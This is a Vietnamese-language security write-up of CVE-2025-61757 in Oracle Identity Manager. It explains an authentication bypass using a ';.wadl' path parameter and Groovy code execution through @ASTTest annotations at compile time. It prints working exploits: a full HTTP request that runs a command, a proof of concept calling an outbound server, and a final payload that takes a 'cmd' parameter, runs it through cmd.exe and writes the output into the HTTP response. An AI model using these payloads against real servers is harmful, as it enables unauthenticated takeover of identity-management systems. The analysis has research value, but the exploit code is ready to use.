Preauth RCE in Oracle Identity Manager (CVE-2025-61757)
Intro
Tuần trước Searchlight Cyber có lên bài phân tích (here) về một lỗ hổng preauth RCE mới của Oracle Identity Manager - CVE-2025-61757. Đây là một chain gồm hai bug là authentication bypass và groovy injection. Tuy rằng tác giả cũng đã giải thích khá chi tiết nhưng mình thấy có một vài thứ khá là mới nên mình có tìm hiểu và viết lại một số thứ để tiện note lại cho sau này.
Authentication bypass
Theo như blog của searchlight đề cập, bug authen bypass nằm ở class oracle.wsm.agent.handler.servlet.SecurityFilter - đây cũng là class thực hiện việc check authen cho các endpoint của app applicationmanagement.
public final class SecurityFilter extends AbstractRESTFilter implements Filter {
static {
LOGGER = Logger.getLogger(CLASSNAME);
WADL_PATTERN = Pattern.compile(”\\.[wW][aA][dD][lL](.)*\\z”); // [1]
}
public void doFilter(ServletRequest request, ServletResponse response, final FilterChain chain) throws IOException, ServletException {
LOGGER.entering(CLASSNAME, “doFilter”, new Object[]{request, response, chain});
final HttpServletRequest httpRequest = (HttpServletRequest)request;
HttpServletResponse httpResponse = (HttpServletResponse)response;
final HttpServletResponse httpResponseWrapped = new WsmHttpResponseWrapper((HttpServletResponse)response);
httpRequest.setAttribute(”request.processed.by.wsm.security.filter”, Boolean.valueOf(”true”));
if (this.isCORSPreflightRequest(httpRequest)) {
chain.doFilter(httpRequest, httpResponse);
} else {
if (WADL_PATTERN.matcher(httpRequest.getRequestURI().trim()).find()) { // [2]
chain.doFilter(httpRequest, httpResponse);
} else {
// auth check
}
}
}
Tại [1] có thể thấy rõ ý đồ của dev khi muốn whitelist các request WADL bằng cách sử dụng pattern tìm kiếm các string có dạng .wadl, sau đó tại [2] cho phép chúng được xử lý mà không cần kiểm tra quyền truy cập bằng cách kiểm tra uri của request có chứa string .wadl không nếu có sẽ cho phép request được thông qua. → Classic auth bypass:v
Bài toán mới là làm sao để access được api khi muốn chèn string .wadl. Method getRequestURI() sẽ không lấy query string của url cho nên ta cũng không thể add thêm GET param như ?a=.wadl được.
Ở bài của Searchlight họ có để cập tới việc inject path parameter ;.wadl để exploit bug này. Khi đọc xong thì mình có thắc mắc là tại sao lại có thể dùng được như vậy:v. Tại sao /path;.wadl lại ăn, mà ko phải là /path.wadl?
Why ;.wadl?
Trong khi đi tìm hiểu về cách getRequestURI() return thì mình tìm được câu trả lời ở đây stackoverflow
getRequestURI() có nhận cả phần path parameter (phần ;jessionid=S+ID). Sau khi debug thì mình cũng phát hiện rằng JAX-RS khi routing lại ignore phần path parameter.
Cụ thể method RoutingStage._apply() sẽ là nơi thực hiện nhiệm vụ routing:
private RoutingResult _apply(RequestProcessingContext request, Router router) {
Router.Continuation continuation = router.apply(request);
Iterator var4 = continuation.next().iterator();
RoutingResult result;
do {
if (!var4.hasNext()) {
Endpoint endpoint = Routers.extractEndpoint(router);
if (endpoint != null) {
return RoutingStage.RoutingResult.from(continuation.requestContext(), endpoint);
}
return RoutingStage.RoutingResult.from(continuation.requestContext());
}
Router child = (Router)var4.next();
result = this._apply(continuation.requestContext(), child);// [3]
} while(result.endpoint == null);
return result;
}
tại đây _apply() sử dụng thuật toán DFS duyệt từng router để tìm kiếm endpoint phù hợp
[3] sẽ gọi đệ quy _apply() lên từng child router, nếu không child nào match thì return null
tại router MatchResultInitializerRouter sẽ thực hiện khởi tạo MatchResult để so sánh với các path pattern lúc sau:
MatchResult khi khởi tạo sẽ được strip đi MatrixParam parameter là phần bắt đầu bằng dấu ; trong mỗi segment URL hay chính là path parameter ;.wadl:
Điều đó giải thích vì sao ta có thể và phải inject ;.wadl vào uri để có thể reach được API endpoint mong muốn.
Như vậy ta có thể bypass được auth một cách đơn giản bằng cách thêm vào cuối uri một path parm ;.wadl
request bình thường:
request có ;.wadl :
Groovy Injection
Với bug auth bypass giờ đây ta có thể tùy ý truy cập vào các chức năng của app applicationmanagement mà không cần xác thực, trong đó có endpoint groovyscriptstatus. API này cho phép người dùng truyền vào một đoạn mã script groovy và biên dịch chúng:
@POST
@Consumes({”application/json”})
@Path(”/applications/groovyscriptstatus”)
public Response compileScript(String script) throws Exception {
ApplicationRestLogger.LOGGER.entering(ApplicationrestServiceController.class.getName(), “compileScript(String)”, new Object[]{script});
try {
ApplicationrestServiceImpl.compileScript(script);
} catch (Exception var3) {
Exception e = var3;
ApplicationRestLogger.LOGGER.log(Level.SEVERE, (String)null, e);
return Response.status(500).entity(e.getMessage()).type(”text/plain”).build();
}
ApplicationRestLogger.LOGGER.exiting(ApplicationrestServiceController.class.getName(), “compileScript(String)”);
return Response.status(Status.OK).entity(”Script Compilation Successful”).type(”text/plain”).build();
}
Như tên của endpoint này, chức năng của nó đơn thuần chỉ là kiểm tra syntax của script groovy bằng cách compile chúng nếu thành công thì trả response successful
Thoạt nhìn thì thấy chức năng này có vẻ vô hại, không exploit được gì khi nó chỉ biên dịch mà không thực sự thực thi code groovy nhưng Searchlight đã có một “trick” cực hay đó là sử dụng annotation để có thể execute được groovy.
Mình khá bất ngờ khi lần đầu biết được 1 annotation bình thường chỉ chứa các metadata lại có thể execute được code và đây cũng chính là lý do khiến mình quyết định dựng lại lab để debug root cause của nó.
POC của Searchlight trông như sau:
import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase
class Demo {
@ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
try {
def connection = new URL(”https://our.outbound.server”).openConnection()
connection.setRequestMethod(”GET”)
def response = connection.getInputStream().getText()
} catch (Exception e) {}
})
static void main(String[] args) {}
}
Demo.main()
Để hiểu cách mà poc trên hoạt động ta cần phải tìm hiểu trước các khái niệm như ASTTransformation hay Compilephase trong groovy.
AST Transformation
Groovy là một ngôn ngữ động (dynamic language) chạy trên JVM, được thiết kế để tương thích tốt với Java nhưng bổ sung thêm rất nhiều tính năng meta-programming mạnh mẽ. Một trong những cơ chế quan trọng của Groovy là AST Transformation – cho phép can thiệp trực tiếp vào cây cú pháp trừu tượng (Abstract Syntax Tree – AST) trong quá trình biên dịch.
Khác với Java, nơi annotation chủ yếu chỉ mang tính “mô tả”, annotation trong Groovy có thể được gắn với một AST Transformation cụ thể. Khi trình biên dịch Groovy đi qua từng phase (parsing, semantic analysis, canonicalization, …
Khi đó nó sẽ tìm các annotation đặc biệt và gọi tới lớp transformation tương ứng. Điều này cho phép annotation không chỉ “mô tả”, mà còn thay đổi hoặc tác động lên mã nguồn ở mức AST, ví dụ: tự động sinh constructor, thêm getter/setter, thêm logging
ASTTest
POC của Searchlight sử dụng annotation @ASTTest với compile phase là Semantic Analysis. @ASTTest là một annotation đặc biệt do Groovy cung cấp, được thiết kế để giúp dev test và debug các AST transformation.
Ta có thể chèn trực tiếp một đoạn closure vào annotation, và Groovy sẽ thực thi closure đó trong quá trình biên dịch tại compile phase Semantic Analysis.
Debugging
Quay trở lại với bug của chúng ta, sau khi truyền vào endpoint groovyscriptstatus một đoạn script groovy với 1 annotation như dưới:
POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
Host: 192.168.127.176:14000
Content-Type: application/json
Content-Length: 333
import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase
class Demo {
@ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
try {
java.lang.Runtime.getRuntime().exec(”calc”)
} catch (Exception e) {}
})
static void main(String[] args) {}
}
Demo.main()
script sẽ được đem đi validate bằng cách parse thành Groovy Code Source rồi compile:
từ đây tiếp tục gọi tới GroovyClassLoader.doParseClass() để tiến hành compile:
private Class doParseClass(GroovyCodeSource codeSource) {
validate(codeSource);
CompilationUnit unit = this.createCompilationUnit(this.config, codeSource.getCodeSource()); //[4]
SourceUnit su = null;
File file = codeSource.getFile();
if (file != null) {
su = unit.addSource(file);
} else {
URL url = codeSource.getURL();
if (url != null) {
su = unit.addSource(url);
} else {
su = unit.addSource(codeSource.getName(), codeSource.getScriptText()); // add source
}
}
ClassCollector collector = this.createCollector(unit, su);
unit.setClassgenCallback(collector);
int goalPhase = 7;
if (this.config != null && this.config.getTargetDirectory() != null) {
goalPhase = 8;
}
unit.compile(goalPhase); // [5]
// REDACTED
}
tại [4] lúc này Groovy sẽ khởi tạo một CompilationUnit object (đây chính là compiler) sau đó sẽ add phần code source trước đó đã được parse rồi gọi tới [5] để tiến hành compile.
CompilatationUnit.compile() chính là nơi Groovy thực hiện pipeline compile của mình:
public void compile(int throughPhase) throws CompilationFailedException {
this.gotoPhase(1);
throughPhase = Math.min(throughPhase, 9);
while(throughPhase >= this.phase && this.phase <= 9) {
if (this.phase == 4) {
this.doPhaseOperation(this.resolve);
if (this.dequeued()) {
continue;
}
}
this.processPhaseOperations(this.phase);
this.processNewPhaseOperations(this.phase);
if (this.progressCallback != null) {
this.progressCallback.call(this, this.phase); //ASTTestTransformation$1.call()
}
this.completePhase();
this.applyToSourceUnits(this.mark);
if (!this.dequeued()) {
this.gotoPhase(this.phase + 1);
if (this.phase == 7) {
this.sortClasses();
}
}
}
this.errorCollector.failIfErrors();
}
Lúc này compiler sẽ chạy tuần tự qua từng Compile Phase bắt đầu từ phase 1 (INITIALIZATION) sau đó sẽ lần lượt qua từng phase và thực hiện operation tương ứng. Tại phase 4 (SEMANTIC_ANALYSIS), compiler gọi resolve và thực thi toàn bộ AST Transformations đã được set bằng cách gọi tới progressCallback.call hay ASTTestTransformation$1.call()
public void call(ProcessingUnit context, int phaseRef) {
CallSite[] var3 = $getCallSiteArray();
// REDACTED
if (BytecodeInterface8.isOrigInt() && BytecodeInterface8.isOrigZ() && !__$stMC && !BytecodeInterface8.disabledStandardMetaClass()) {
if (ScriptBytecodeAdapter.compareEqual(phase.get(), (Object)null) || ScriptBytecodeAdapter.compareEqual(phaseRef, var3[48].callGetProperty(phase.get()))) {
//REDACTED
Object testSource = var3[58].call(sbx, var3[59].call(var3[60].callGetProperty(testClosurex), 1), var3[61].call(sbx));
Object var23 = var3[62].call(testSource, 0, var3[63].call(testSource, “}”));
testSource = var23;
CompilerConfiguration config = (CompilerConfiguration)ScriptBytecodeAdapter.castToType(var3[64].callConstructor(CompilerConfiguration.class), CompilerConfiguration.class);
Reference customizer = new Reference(var3[65].callConstructor(ImportCustomizer.class));
var3[66].call(config, customizer.get());
Object var26 = source.get();
var3[67].call(this.binding, “sourceUnit”, var26);
Object var27 = BytecodeInterface8.objectArrayGet((ASTNode[])ScriptBytecodeAdapter.castToType(nodes.get(), ASTNode[].class), 1);
var3[68].call(this.binding, “node”, var27);
Object var28 = var3[69].call(var3[70].callConstructor(MethodClosure.class, LabelFinder.class, “lookup”), BytecodeInterface8.objectArrayGet((ASTNode[])ScriptBytecodeAdapter.castToType(nodes.get(), ASTNode[].class), 1));
var3[71].call(this.binding, “lookup”, var28);
Object var29 = var3[72].callGroovyObjectGetProperty(this);
var3[73].call(this.binding, “compilationUnit”, var29);
Object var30 = var3[74].call(CompilePhase.class, phaseRef);
var3[75].call(this.binding, “compilePhase”, var30);
GroovyShell shell = (GroovyShell)ScriptBytecodeAdapter.castToType(var3[76].callConstructor(GroovyShell.class, this.binding, config), GroovyShell.class);
var3[77].call(var3[78].callGetProperty(var3[79].callGetProperty(source.get())), new _call_closure2(this, this, customizer));
var3[80].call(var3[81].callGetProperty(var3[82].callGetProperty(source.get())), new _call_closure3(this, this, customizer));
var3[83].call(var3[84].callGetProperty(var3[85].callGetProperty(source.get())), new _call_closure4(this, this, customizer));
var3[86].call(var3[87].callGetProperty(var3[88].callGetProperty(source.get())), new _call_closure5(this, this, customizer));
var3[89].call(shell, testSource);
}
}
//REDACTED
}
}
ASTTestTransformation lấy ClosureExpression từ annotation @ASTTest rồi lược bỏ chỉ còn:
try {
java.lang.Runtime.getRuntime().exec(”calc”)
} catch (Exception e) {}
và cuối cùng gọi tới GroovyShell.evaluate() để thực thi đoạn mã trên:
Toàn bộ quá trình trên được diễn ra trong giai đoạn compile không phải runtime cho nên ta có thể thực thi code tùy ý → đây cũng chính là sink của chain này.
Ta có stack trace như sau:
exec:347, Runtime (java.lang)
call:-1, java_lang_Runtime$exec$0
defaultCall:48, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:113, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
run:2, Script1
evaluate:413, GroovyShell (groovy.lang)
evaluate:435, GroovyShell (groovy.lang)
evaluate:417, GroovyShell (groovy.lang)
call:-1, GroovyShell$evaluate (groovy.lang)
call:112, ASTTestTransformation$1 (org.codehaus.groovy.transform)
compile:562, CompilationUnit (org.codehaus.groovy.control)
doParseClass:238, GroovyClassLoader (groovy.lang)
parseClass:201, GroovyClassLoader (groovy.lang)
parseClass:472, GroovyShell (groovy.lang)
parse:476, GroovyShell (groovy.lang)
parse:497, GroovyShell (groovy.lang)
parse:488, GroovyShell (groovy.lang)
validateScript:122, GroovyScriptExecutor (oracle.iam.application.vo)
compileScript:538, ApplicationManagerImpl (oracle.iam.application.impl)
Final POC
Nếu bạn để ý, các PoC như của mình ở trên hoặc của Searchlight đều thực hiện theo cách gọi trực tiếp java.lang.Runtime để spawn process, hoặc mở một kết nối outbound ra bên ngoài. Tuy nhiên, cả hai phương pháp này đều có những hạn chế lớn. Ngay cả khi khai thác thành công và đạt được RCE, kết quả cũng chỉ là Blind RCE – tức là không có phản hồi trực tiếp để xác minh. Trường hợp server không cho phép outbound, thì cũng không có cách nào xác nhận việc khai thác có thực sự thành công hay không.
Để khắc phục hạn chế đó, cùng với việc lợi dụng script groovy không bị sandbox, ta có thể dùng java Reflection API để access được các object request/response của Thread hiện tại và modify lại logic tùy ý, từ đó có thể control được response trả về của OIM.
import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase
class Demo {
@ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
try {
def thread = Thread.currentThread()
def execThread = Class.forName(”weblogic.work.ExecuteThread”).cast(thread)
def work = execThread.getClass().getMethod(”getCurrentWork”).invoke(execThread)
def handlerField = work.getClass().getDeclaredField(”connectionHandler”)
handlerField.setAccessible(true)
def handler = handlerField.get(work)
def req = handler.getClass().getMethod(”getServletRequest”).invoke(handler)
def res = handler.getClass().getMethod(”getServletResponse”).invoke(handler)
def param = req.getParameter(”cmd”)
def out = res.getWriter()
if (param != null && !param.trim().isEmpty()) {
String[] cmds = [ “cmd.exe”, “/c”, param ] as String[]
def process = Runtime.getRuntime().exec(cmds)
def reader = new BufferedReader(new InputStreamReader(process.getInputStream()))
String line
while ((line = reader.readLine()) != null) {
out.println(line)
}
reader.close()
}
out.flush()
res.flushBuffer()
} catch (Throwable t) {
}
})
def x
}



















Tuyệt vời quá!!! Đúng nội dung đang tìm kiếm....